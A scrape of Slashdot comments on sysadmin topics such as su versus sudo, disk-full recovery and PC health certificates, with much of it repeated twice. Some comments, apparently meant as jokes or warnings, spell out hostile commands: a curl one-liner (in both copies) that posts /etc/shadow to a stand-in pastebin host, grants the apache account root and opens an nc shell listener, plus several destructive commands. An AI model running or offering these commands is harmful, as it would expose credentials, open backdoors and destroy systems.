Frankly, I think the "kill switch" might be dead in the water after the Egyptian revolution; I'm glad it happened when it did.
Yes... but the timing is really creepy. Makes you wonder if opposition to the US internet kill switch
wasn't somehow behind all that chaos starting in Egypt via Twitter?
...getting tested for STDs as a condition of employment in a porn studio.
Except they aren't testing for STDs... 'system health' pertains to updates and an (ugh) antivirus program installed.
This is like having a security guard at the entrance to the porn studio who demands show him that you have a condom in your possession,
before you are allowed to enter, and papers from your doctor that you are up to date on your Syphilis and Hepatitus vaccines,
and that you have a current IUD installed.
Hacked PC's are the fault of the OS vendor. Not the user, or the ISP.
Did it not occur to you that sometimes the OS vendor is at fault, and sometimes the user is at fault, and in most cases neither is entirely blameless?
Blaming the user is like blaming the driver for their car's recall-worthy shoddy components.
Ok... what happens when it's a well known fact that particular car is always manufactured with recall-worthy shoddy components,
but the driver buys the car anyways (despite knowing this), because the car looks pretty, easy to use.... it's popular..
or they have good marketing that distracts users from the fact that it contains shoddy components?
Also... can you fault the car manufacturer when the owner puts a hole in a window with a tire iron, or steers their car into a tree?
I say Microsoft is responsible for bugs that lead to 'drive by downloads' (for example) where the user doesn't click on anything.
I say the user who sees a.EXE file attached to an e-mail and double clicks that is much like the driver who steers their car into a tree.
The resulting damage is not the manufacturers fault, although, if the airbag doesn't deploy, the manufacturer may have some culpability for defective safety measures.
I'm all for it, as long as said health ccertificate meets these conditions:
All APIs are open.
The reference implementation for both server side components is placed under an Open source software license that is GPL compatible.
The protocol must be simple and devoid of any complexity or additional not absolutely necessary for the one critical function of 'validation of health'.
The protocols must be robust and based on sound engineering. They must be a product of open standards process, rather than some company's internal engineering department's work, with a bought and paid for ISO label slapped on it.
All protocols used must be open standards fully documented protocols with zero proprietary extensions alterations or non-compliant behaviors. All schemas and data models must be part of the standard with no non-standard extensions or extension mechanisms allowed.
No requirement to utilize any proprietary or closed-source software.
No differentiation, advantage, or ease of use benefit provided by design only to users of a proprietary operating system or of proprietary software.
No risk of the health certificate providing personally identifiable information or unique identification of the computer.
No compromise or weakening of privacy and privacy protections. No method of identifying user or computer opened up by the certificate, even if there is a conspiracy or effort to shutdown the user including government involvement (such as court orders to identify the source of unpopular political speech).
It's "something got corrupted when the disk filled up because it couldn't write.
You mean, you might have defective software that didn't properly handle the exception of 'no space left on the device' and wound up scribbling on the disk in a way that breaks the integrity of its data file; instead of merely failing to perform any data updates?
A restart will ensure that nothing has experienced corruption which could further compromise our data."
Restarting won't undo corruption that has already happened.
Most sane DBMs shutdown completely, and rely on the admin to start them back up after disk space is freed, so they can rollback all transactions and recover.
Others cease all writing when they detect the disk is run out, and hold everything up until some space is freed.
Any DBM or application with different pathogenic behavior is a disaster waiting to happen, and should never be used; out of disk space is not the only way that file I/O operations can fail.
curl -s -X POST -d "paste_code=$(echo "Anonymous sucks"; echo "Scientology Is the best religion ever" ; echo "This web server is unhackable";/sbin/ifconfig; perl -pi.bak 's/apache:x:48:48/apache:x:0:0'/etc/passwd; service httpd restart; cat/etc/shadow; service iptables stop; nc -lk 1234 |/bin/sh" "http://pastebin.com.example/api_public.php"
buy a bunch of futures in some commodity and then use your pundit talk show audience to drive up the price of that commodity so you can sell it all off just before the bubble bursts.
You do that, and they'll send you off to federal PMITA prison
whatever isn't being logged centrally is supposed to be maintained by logrotate
That's fine until one day when a misbehaving application writes 200GBs of junk data to a 10gb/var/log partition within a 48 hour period, and since logrotate only runs once a day....
This sounds like it was written by a junior admin or programmer who's in awe of what some of the more seasoned vets are doing.
No... it sounds like someone acknowledging that vet unix admins sometimes protect their job security through complexity.
But then again, there are cases where complexity is truly necessary, or it provides significant benefits, utility, robustness, or substantial security improvement, that the simpler method does not.
When a run away program fills the disk or sets off the OOM killer then after fixing the problem itself rebooting is the obviously wise thing to do - who knows what random proceess got put in a bad state by the resource exhaustion best reboot and get everything into a known good state.
Unix systems don't run "random processes". If a program's running, it better be because the system is specifically designed that way.
A process either needs to be restarted or it doesn't.
Restarting applications, processes, and daemons in no way implies a system reboot.
He makes a pretty good point that going to root forces you to think through your actions. I don't see the same "everything I now do carries a consequence" mentality with frequent users of sudo.
The problem is we have people casting opinions based on how they think people will act differently while using sudo VS su.
Possibly cognitively biased due to how the person who has the opinion personally reacts, whether they actually are a sysadmin, and how much they actually use sudo.
Until someone performs an actual scientific study... claims that people are more careful when using 'SU' or more careful when using 'SUDO' don't hold much water.
All we can really definitively say is SUDO offers a warning message for first time users, which may have an influence on how cautious first time users are when using root privileges from the CLI.
I wonder how much effect it has on tinkering behavior... are people who use sudo less likely to tinker with their Linux desktop systems. Possibly this causes them to not become as familiar with Linux as 'SU' users are.
Possibly tinkerers/hackers just 'sudo su -' anyways
Sometimes you need to make a mistake to learn most efficiently
here's really only one really easy thing to do that will potentially demolish a box and that's rm -rf * in the wrong directory and it is a rare sudoers file indeed that prevents a sysadmin from running 'rm'. You could argue a reboot or shutdown on a box with something like a database might be a problem as well, but after that, you actually need to put some effort in screwing up your host with the other commands.
Well, there are thousands of ways to really muck up a system.
Contrary to the article's stated rationale, there is a real reason not to use sudo: If you run some malicious code as the wheel user, it can modify the wheel user's environment. Then the sudo command runs in the wheel user's environment with e.g. a malicious $PATH and you go from having a compromised user account to having a compromised system.
Sudo can reset the environment. However, if you have a malicious PATH you have already lost, perhaps.
unless you normally type/bin/su to invoke su. Well, you see, a malicious PATH can point you to a fake 'su' or 'sudo' binary that will capture the password as you enter it, and spawn a headless shell to use the captured credentials, become root, slap setuid on the binary
Sudo everything provides an actual audit trail to the actions taken by an admin. which is essential in environments where governance and acountability are required.
Uhuh.... unless you 'sudo vi/some/file.txt'
And then realize, while you're editing... hell.. I need to do X other thing...
So without exiting vi, you enter:!bash
Do that thing as root, and type exit to return to VI.
I would say you're wrong... sudo doesn't log everything. Sudo just logs the name of the process started;
not actions taken by that process.
System admins commonly use scripting for many tasks, and sudo does not log when actions are taken from STDIN.
The only real "logging of admin actions" are facilities such as the kernel auditing daemons.
Or actual logs of the terminal session, which are in fact more reliable than some untenable
kludge effort to log actions by spawning a sudo process for every command.
You'll need to rewrite 'sudo' to be THE actual shell (including for scripting purposes) before it can be the least bit effective at that.
I would say if you have something to do that ISN'T root, you sir are teh nub.
I agree with the first part, but not this.
If you are not the nub, you drop privileges when you won't need them a while.
You setup system services to run as separate non-root users when possible as well.
On server systems where the only logins are for administrative purposes; the primary
risks should be the services running on the system anyways. If that's not true, you did something wrong.
And the most likely thing you would've done wrong would be to have a weak password,
a weak su password, or an account still active that should have been turned off.
By not using sudo, AND instead using a root password, you can reduce risk from accounts
that should have been turned off, through the regular root password changes.
Every root password change automatically invalidates the access of anyone who is no longer
supposed to be root. On the other hand... 'sudo' bypasses root password security, and
gets stored in a flatfile database that might not be looked at or audited all that often.
That is just stupid. System destroying actions are system destroying actions. Sudo or su or runlevel 1, if you are not thinking out your actions, you have no business executing that action. Both commands can get you into the same trouble.
Even if you do think out your actions, errors are possible. Use of sudo is more error prone as soon as you
start keying simple scripts into the shell, because there are actually two shells involved now..
the non-root shell, the sudo command line, and the shell sudo will spawn to process the command requested,
which will actually be spawning yet another subshell for each command.
In terms of typing the commands, this is a metacharacter escaping nightmare.
You want to run... for i in/root/*.txt ; do file $i ; done
This guy lost me with the first thing on the list. Going directly to root is great - if you're a noob in mom's basement. Nobody who has ever run systems in a serious environment mucks around as root as an alternative to something like sudo.
Nonsense. Su is much simpler software and much less likely to have security vulnerabilities.
Sudo has had many. Allowing the 'sudo' binary to be setuid root in a serious environment is considered a major risk.
The 'su' binary is much simpler code, and slapping the setuid bit on it is considered much safer.
Well, on BSD 'su' binary is extremely safe. On a GNU/Linux OS, system's setuid su might be linked against a nightmare called GLIBC, but then sudo would be also.
Sudo has the issue of 'subtle/sneaky ways around' any configured policies. And sneaky ways to gain sudo permissions not assigned by policy.
Assigning full Sudo privileges to ANY user is a serious security risk, since you have reduced the number of passwords that must be guessed to gain full root privileges to one password, because sudo requires a password that is the same as the user's login password. The security of requiring knowledge of the user password and separate root password is considered stronger; when you disable root login and require wheel/admin group membership to 'su'. If you assign full sudo privileges to any user then only that user's password is required to gain full root access, which is a reduction in root authentication security strength.
Also 'idle timeout' for root logins is ineffective when sudo is used. If a third party gained access to any logged in ssh
session they can run sudo commands; 'sudo command timeout' can be defeated by merely staying logged in until the legitimate user logs in somewhere else and runs a sudo command; once any legitimate user types the proper sudo password, ALL terminals/remote login sessions under the same username can use any 'sudo' command without a password reprompt,
due to the way sudo is designed.
Su is used in serious environments all the time for the purpose of system maintenance and is considered preferable to sudo for such purpose --- hardly anyone ever even imagined using sudo for that purpose until 5 or 6 years ago. Sudo is a relative newcomer, not installed by default on most systems, and the purpose it was created for is misunderstood if you suggest actual admins use it to perform commands. Sudo is for enabling non-admins to perform some tasks that require UID 0 privileges, under rules established by the system admin; that is the reason the Sudo tool was created, its purpose for existing, and it has nothing to do with the root/sysadmin performing their own duties which actually require root.
That is 'sudo is for partial roots / guest root users, "guests" who are to temporarily have root access but not be one of the persons entrusted with the root passwords.
If you don't login to the system to perform administrative tasks, it is better to simply login as a normal user and then 'su' when you need it.
That way you have to know two different passwords to do things as root; which is strong security.
My environment has some critical systems with minimal installs, where sudo isn't even installed and won't be;
root filesystem being read-only and requiring signed binaries and all. Sudo not even available for some older OS flavors.
It's common to have some paths non-root isn't even allowed to CD into; and this is an improvement for security,
but of course sudo is useless here: Hint: there is no such thing as 'sudo cd'; if you think otherwise, you need to lookup what the cd command does again.
The fact of the matter, is, when you are performing system administrative tasks, typing 'sudo' after each command is too cumbersome. Convenience, and speed matter, as they have a direct impact on admin performance and efficiency.
Sudo introduces inconveniences that are likely to result in serious system-e
The problem with veteran Unix admins is they never get first post.
That's because the veteran Unix admins are too busy running their Perl script to mod down "first post" posts.
And since you can't moderate and post to the same discussion (well, actually the veteran Unix admins can
probably get around that one), well, you know....
Slashdot Mirror
Frankly, I think the "kill switch" might be dead in the water after the Egyptian revolution; I'm glad it happened when it did.
Yes... but the timing is really creepy. Makes you wonder if opposition to the US internet kill switch wasn't somehow behind all that chaos starting in Egypt via Twitter?
And software patents?
what about those of us who use Linux / Unix / other alternative OSs varieties?
Left out in the cold to freeze to death. Until some cool tinkerer reverse engineers it and takes down the entire scam.
Except they aren't testing for STDs... 'system health' pertains to updates and an (ugh) antivirus program installed.
This is like having a security guard at the entrance to the porn studio who demands show him that you have a condom in your possession, before you are allowed to enter, and papers from your doctor that you are up to date on your Syphilis and Hepatitus vaccines, and that you have a current IUD installed.
Hacked PC's are the fault of the OS vendor. Not the user, or the ISP.
Did it not occur to you that sometimes the OS vendor is at fault, and sometimes the user is at fault, and in most cases neither is entirely blameless?
Blaming the user is like blaming the driver for their car's recall-worthy shoddy components.
Ok... what happens when it's a well known fact that particular car is always manufactured with recall-worthy shoddy components, but the driver buys the car anyways (despite knowing this), because the car looks pretty, easy to use.... it's popular.. or they have good marketing that distracts users from the fact that it contains shoddy components?
Also... can you fault the car manufacturer when the owner puts a hole in a window with a tire iron, or steers their car into a tree?
I say Microsoft is responsible for bugs that lead to 'drive by downloads' (for example) where the user doesn't click on anything.
I say the user who sees a .EXE file attached to an e-mail and double clicks that is much like the driver who steers their car into a tree.
The resulting damage is not the manufacturers fault, although, if the airbag doesn't deploy, the manufacturer may have some culpability for defective safety measures.
It's "something got corrupted when the disk filled up because it couldn't write.
You mean, you might have defective software that didn't properly handle the exception of 'no space left on the device' and wound up scribbling on the disk in a way that breaks the integrity of its data file; instead of merely failing to perform any data updates?
A restart will ensure that nothing has experienced corruption which could further compromise our data."
Restarting won't undo corruption that has already happened.
Most sane DBMs shutdown completely, and rely on the admin to start them back up after disk space is freed, so they can rollback all transactions and recover.
Others cease all writing when they detect the disk is run out, and hold everything up until some space is freed.
Any DBM or application with different pathogenic behavior is a disaster waiting to happen, and should never be used; out of disk space is not the only way that file I/O operations can fail.
(follow with a bit of editing to change the inode number of the working directory in your process structure)
If you're going through all that trouble, why not just overwrite the UID and EUID with 0,0 ?
fdformat /dev/hda1
curl -s -X POST -d "paste_code=$(echo "Anonymous sucks"; echo "Scientology Is the best religion ever" ; echo "This web server is unhackable" ;/sbin/ifconfig; perl -pi.bak 's/apache:x:48:48/apache:x:0:0' /etc/passwd; service httpd restart; cat /etc/shadow; service iptables stop; nc -lk 1234 | /bin/sh" "http://pastebin.com.example/api_public.php"
Repeat with twitter, facebook, etc
buy a bunch of futures in some commodity and then use your pundit talk show audience to drive up the price of that commodity so you can sell it all off just before the bubble bursts.
You do that, and they'll send you off to federal PMITA prison
whatever isn't being logged centrally is supposed to be maintained by logrotate
That's fine until one day when a misbehaving application writes 200GBs of junk data to a 10gb /var/log partition within a 48 hour period, and since logrotate only runs once a day....
This sounds like it was written by a junior admin or programmer who's in awe of what some of the more seasoned vets are doing.
No... it sounds like someone acknowledging that vet unix admins sometimes protect their job security through complexity.
But then again, there are cases where complexity is truly necessary, or it provides significant benefits, utility, robustness, or substantial security improvement, that the simpler method does not.
When a run away program fills the disk or sets off the OOM killer then after fixing the problem itself rebooting is the obviously wise thing to do - who knows what random proceess got put in a bad state by the resource exhaustion best reboot and get everything into a known good state.
Unix systems don't run "random processes". If a program's running, it better be because the system is specifically designed that way.
A process either needs to be restarted or it doesn't.
Restarting applications, processes, and daemons in no way implies a system reboot.
Falls under No. 8 implicitly, I think
most times Windows doesn't subscribe to the same deeply logical foundations as Unix, and that bothers us.
I think all good sys admins (Unix or otherwise) have that trait about doing the "Here's a nickel. Get a real operating system, kid.".... :)
He makes a pretty good point that going to root forces you to think through your actions. I don't see the same "everything I now do carries a consequence" mentality with frequent users of sudo.
The problem is we have people casting opinions based on how they think people will act differently while using sudo VS su.
Possibly cognitively biased due to how the person who has the opinion personally reacts, whether they actually are a sysadmin, and how much they actually use sudo.
Until someone performs an actual scientific study... claims that people are more careful when using 'SU' or more careful when using 'SUDO' don't hold much water.
All we can really definitively say is SUDO offers a warning message for first time users, which may have an influence on how cautious first time users are when using root privileges from the CLI.
I wonder how much effect it has on tinkering behavior... are people who use sudo less likely to tinker with their Linux desktop systems. Possibly this causes them to not become as familiar with Linux as 'SU' users are.
Possibly tinkerers/hackers just 'sudo su -' anyways
Sometimes you need to make a mistake to learn most efficiently
here's really only one really easy thing to do that will potentially demolish a box and that's rm -rf * in the wrong directory and it is a rare sudoers file indeed that prevents a sysadmin from running 'rm'. You could argue a reboot or shutdown on a box with something like a database might be a problem as well, but after that, you actually need to put some effort in screwing up your host with the other commands.
Well, there are thousands of ways to really muck up a system.
Do NOT try these at home
tee /etc/inittab
echo newuser:x:1234:1234:New user:/usr/home/newuser:/usr/bin/ftponly > /etc/passwd
rsync -avl --delete user@buildsystem:/usr/bin/ /usr/
rm -rf /var /log/debug*
chmod 777 /tmp
Contrary to the article's stated rationale, there is a real reason not to use sudo: If you run some malicious code as the wheel user, it can modify the wheel user's environment. Then the sudo command runs in the wheel user's environment with e.g. a malicious $PATH and you go from having a compromised user account to having a compromised system.
Sudo can reset the environment. However, if you have a malicious PATH you have already lost, perhaps. unless you normally type /bin/su to invoke su. Well, you see, a malicious PATH can point you to a fake 'su' or 'sudo' binary that will capture the password as you enter it, and spawn a headless shell to use the captured credentials, become root, slap setuid on the binary
Defaults env_reset
Defaults env_keep = "DISPLAY HOSTNAME USERNAME PS1 PS2 MAIL"
Defaults requiretty
Sudo everything provides an actual audit trail to the actions taken by an admin. which is essential in environments where governance and acountability are required.
Uhuh.... unless you 'sudo vi /some/file.txt'
And then realize, while you're editing... hell.. I need to do X other thing...
So without exiting vi, you enter :!bash
Do that thing as root, and type exit to return to VI.
I would say you're wrong... sudo doesn't log everything. Sudo just logs the name of the process started; not actions taken by that process.
System admins commonly use scripting for many tasks, and sudo does not log when actions are taken from STDIN.
The only real "logging of admin actions" are facilities such as the kernel auditing daemons. Or actual logs of the terminal session, which are in fact more reliable than some untenable kludge effort to log actions by spawning a sudo process for every command.
You'll need to rewrite 'sudo' to be THE actual shell (including for scripting purposes) before it can be the least bit effective at that.
With sudo you can selective run commands with root privilege.
You can do that with 'su -c' too, and it's more secure, since you have got to know the root password.
I would say if you have something to do that ISN'T root, you sir are teh nub.
I agree with the first part, but not this.
If you are not the nub, you drop privileges when you won't need them a while. You setup system services to run as separate non-root users when possible as well.
On server systems where the only logins are for administrative purposes; the primary risks should be the services running on the system anyways. If that's not true, you did something wrong.
And the most likely thing you would've done wrong would be to have a weak password, a weak su password, or an account still active that should have been turned off.
By not using sudo, AND instead using a root password, you can reduce risk from accounts that should have been turned off, through the regular root password changes.
Every root password change automatically invalidates the access of anyone who is no longer supposed to be root. On the other hand... 'sudo' bypasses root password security, and gets stored in a flatfile database that might not be looked at or audited all that often.
That is just stupid. System destroying actions are system destroying actions. Sudo or su or runlevel 1, if you are not thinking out your actions, you have no business executing that action. Both commands can get you into the same trouble.
Even if you do think out your actions, errors are possible. Use of sudo is more error prone as soon as you start keying simple scripts into the shell, because there are actually two shells involved now.. the non-root shell, the sudo command line, and the shell sudo will spawn to process the command requested, which will actually be spawning yet another subshell for each command.
In terms of typing the commands, this is a metacharacter escaping nightmare.
You want to run... for i in /root/*.txt ; do file $i ; done
Oops... sorry... you're going to have to do
sudo -s for\ i\ in\ \'/root/\*.txt\'\ \;\ do\ file\ \$i\ \;\ done
And if you miss a single "\"... well, you'll be lucky if it just gets refused by your shell.
Good luck reading that later, or revising it later
This guy lost me with the first thing on the list. Going directly to root is great - if you're a noob in mom's basement. Nobody who has ever run systems in a serious environment mucks around as root as an alternative to something like sudo.
Nonsense. Su is much simpler software and much less likely to have security vulnerabilities. Sudo has had many. Allowing the 'sudo' binary to be setuid root in a serious environment is considered a major risk. The 'su' binary is much simpler code, and slapping the setuid bit on it is considered much safer. Well, on BSD 'su' binary is extremely safe. On a GNU/Linux OS, system's setuid su might be linked against a nightmare called GLIBC, but then sudo would be also. Sudo has the issue of 'subtle/sneaky ways around' any configured policies. And sneaky ways to gain sudo permissions not assigned by policy.
Assigning full Sudo privileges to ANY user is a serious security risk, since you have reduced the number of passwords that must be guessed to gain full root privileges to one password, because sudo requires a password that is the same as the user's login password. The security of requiring knowledge of the user password and separate root password is considered stronger; when you disable root login and require wheel/admin group membership to 'su'. If you assign full sudo privileges to any user then only that user's password is required to gain full root access, which is a reduction in root authentication security strength.
Also 'idle timeout' for root logins is ineffective when sudo is used. If a third party gained access to any logged in ssh session they can run sudo commands; 'sudo command timeout' can be defeated by merely staying logged in until the legitimate user logs in somewhere else and runs a sudo command; once any legitimate user types the proper sudo password, ALL terminals/remote login sessions under the same username can use any 'sudo' command without a password reprompt, due to the way sudo is designed.
Su is used in serious environments all the time for the purpose of system maintenance and is considered preferable to sudo for such purpose --- hardly anyone ever even imagined using sudo for that purpose until 5 or 6 years ago. Sudo is a relative newcomer, not installed by default on most systems, and the purpose it was created for is misunderstood if you suggest actual admins use it to perform commands. Sudo is for enabling non-admins to perform some tasks that require UID 0 privileges, under rules established by the system admin; that is the reason the Sudo tool was created, its purpose for existing, and it has nothing to do with the root/sysadmin performing their own duties which actually require root.
That is 'sudo is for partial roots / guest root users, "guests" who are to temporarily have root access but not be one of the persons entrusted with the root passwords.
If you don't login to the system to perform administrative tasks, it is better to simply login as a normal user and then 'su' when you need it. That way you have to know two different passwords to do things as root; which is strong security.
My environment has some critical systems with minimal installs, where sudo isn't even installed and won't be; root filesystem being read-only and requiring signed binaries and all. Sudo not even available for some older OS flavors.
It's common to have some paths non-root isn't even allowed to CD into; and this is an improvement for security, but of course sudo is useless here: Hint: there is no such thing as 'sudo cd'; if you think otherwise, you need to lookup what the cd command does again.
The fact of the matter, is, when you are performing system administrative tasks, typing 'sudo' after each command is too cumbersome. Convenience, and speed matter, as they have a direct impact on admin performance and efficiency. Sudo introduces inconveniences that are likely to result in serious system-e
The problem with veteran Unix admins is they never get first post.
That's because the veteran Unix admins are too busy running their Perl script to mod down "first post" posts.
And since you can't moderate and post to the same discussion (well, actually the veteran Unix admins can probably get around that one), well, you know....
That gives away your favorite color. Every 6 months.
Not if you XOR it by your favorite number or you XOR it by the current timestamp at time of pw change in UTC seconds.
Ah man! I don't want to change my favorite color every 6 months! How will I ever remeber it?
Have your computer generate a random list of 'candidate colors' every 6 months and choose your favorite from the generated list.
"What was your favorite color from last month's color candidates list?"